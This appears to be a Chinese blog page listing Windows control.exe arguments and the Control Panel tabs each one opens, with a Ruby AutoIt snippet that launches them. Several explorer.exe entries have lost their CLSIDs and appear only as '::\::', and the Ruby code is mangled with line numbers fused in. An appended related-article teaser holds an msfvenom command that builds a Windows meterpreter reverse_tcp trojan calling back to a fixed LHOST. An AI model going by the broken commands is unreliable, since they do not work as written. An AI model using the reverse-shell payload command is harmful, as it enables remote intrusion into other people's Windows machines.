ruby操作windwos控制面板內容,可以通過呼叫系統命令執行
命令格式:control[.exe] 引數
命令引數如下:
物件
引數
內部呼叫命令
備註
控制面板
(無)explorer.exe "::\::"
panel
未知/policy
(無)在xp sp2環境下執行後沒有反應
顯示畫面
desktop
desk.cpl
[desk.cpl] : [顯示][主題]
[desk.cpl ,0] : [顯示][桌面]
[desk.cpl ,1] : [顯示][螢幕保護程式]
[desk.cpl ,2] : [顯示][外觀]
[desk.cpl ,3] : [顯示][設定]
[desk.cpl ,4] : [顯示][設定]
外觀color
desk.cpl ,2
日期和時間
date/time
timedate.cpl
[timedate.cpl] : [日期和時間][時間和日期]
[timedate.cpl ,0] : [日期和時間][時間和日期]
[timedate.cpl ,1] : [日期和時間][時區](最後的[internet 時間]選項卡會消失)
系統ports
sysdm.cpl ,1
[sysdm.cpl] : [系統][常規]
[sysdm.cpl ,0] : [系統][常規]
[sysdm.cpl ,1] : [系統][計算機名]
[sysdm.cpl ,2] : [系統][硬體]
[sysdm.cpl ,3] : [系統][高階]
[sysdm.cpl ,4] : [系統][系統還原]
[sysdm.cpl ,5] : [系統][自動更新]
[sysdm.cpl ,6] : [系統][遠端]
[sysdm.cpl ,-1] : [效能選項][視覺效果](意料外^^)
區域和語言選項
internaltional
intl.cpl
[intl.cpl] : [區域和語言選項][區域選項]
[intl.cpl ,0] : [區域和語言選項][區域選項]
[intl.cpl ,1] : [區域和語言選項][語言]
[intl.cpl ,2] : [區域和語言選項][高階]
滑鼠mouse
main.cpl
為啥叫main令人費解orz
[main.cpl] : [滑鼠][按鈕]
[main.cpl ,0] : [滑鼠][按鈕]
[main.cpl ,1] : [滑鼠][指標]
[main.cpl ,2] : [滑鼠][指標選項]
[main.cpl ,3] : [滑鼠][輪]
[main.cpl ,4] : [滑鼠][硬體]
鍵盤keyboard
main.cpl @1
[main.cpl @1] : [鍵盤][速度]
[main.cpl @1 ,0] : [鍵盤][速度]
[main.cpl @1 ,1] : [鍵盤][硬體]
(未知)
netware
nwc.cpl
xp上執行後沒有反應
**和數據機選項
telephony
telephon.cpl
無線鏈結
infrared
irprops.cpl
未安裝無線功能的計算機上執行該引數後會沒有反應
[irprops.cpl] : [無線鏈結][紅外線]
[irprops.cpl ,0] : [無線鏈結][紅外線]
[irprops.cpl ,1] : [無線鏈結][影象傳送]
[irprops.cpl ,2] : [無線鏈結][硬體]
本地使用者和組
userpasswords
lusrmgr.msc
根據shlwapi.dll.#437輸出函式判斷顯示哪乙個使用者帳戶管理介面
使用者帳戶
nusrmgr.cpl
使用者帳戶
userpasswords2
rundll32 netplwiz.dll,usersrundll
(常用)windows 2000下的使用者帳戶管理介面,可以用這個介面提供的網路密碼管理功能刪除儲存過的網路密碼
(注意點)不過,該引數在2000下不能正常呼叫,只能使用userpasswords調出相同的介面,但並沒有網路密碼管理的功能
印表機和傳真
printers
explorer.exe "::\::\::"
字型fonts
explorer.exe "::\::\::"
管理工具
admintools
explorer.exe "::\::\::"
管理任務計畫
schedtasks
explorer.exe "::\::\::"
網路連線
netconnections
explorer.exe "::\::\::"
資料夾選項
folders
rundll32.exe shell32.dll,options_rundll 0
[rundll32.exe shell32.dll,options_rundll 0] : [資料夾選項]
[rundll32.exe shell32.dll,options_rundll 1] : [工作列和「開始」選單屬性]
掃瞄器和照相機
scannercamera
explorer.exe "::\::\::"
sticpl.cpl
(其他1)
鍵名rundll32.exe shell32.dll,control_rundll 鍵名的值
對[hkey]\software\microsoft\windows\currentversion\control panel\cpls\下的鍵名進行查詢
注:[hkey]的搜尋順序為hkey_local_machine,hkey_current_user
(其他2)
*.cpl
rundll32.exe shell32.dll,control_rundll *.cpl
*.cpl必須在%path%中某乙個定義的目錄中能找到
ruby呼叫如下:
方式1:
1require
'win32ole'2
3autoit
=win32ole.new(
'autoitx3.control
')
4autoit.run(
"control desktop")
方式2:
1require
'win32ole'2
3autoit
=win32ole.new(
'autoitx3.control
')
4autoit.run(
"control desk.cpl")
Ruby學習系列 疑問 1
code def saygoodnight name result goodnight result goodnight,name return result end code code puts saygoodnight john bo code goodnight,john bo 執行成功 co...
Windo的基本操作命令
第一步 先開啟windows r 然後輸入cmd 第二步 在輸入框內輸入指令 1 目錄操作 cd come dir cd 顯示當前的目錄 cd.進入父目錄 cd d d 進入上次d盤所在的目錄 可以直接輸入d cd d d 進入d盤根目錄 cd d 顯示上次d盤所在的目錄 cd d d add 進入...
kali 反彈shell 遠端操作Windows
一 在kali終端執行下面命令,生成木馬。payload windows meterpreter reverse https msfvenom p windows meterpreter reverse tcp lhost 192.168.1.72 lport 6666 f exe update c...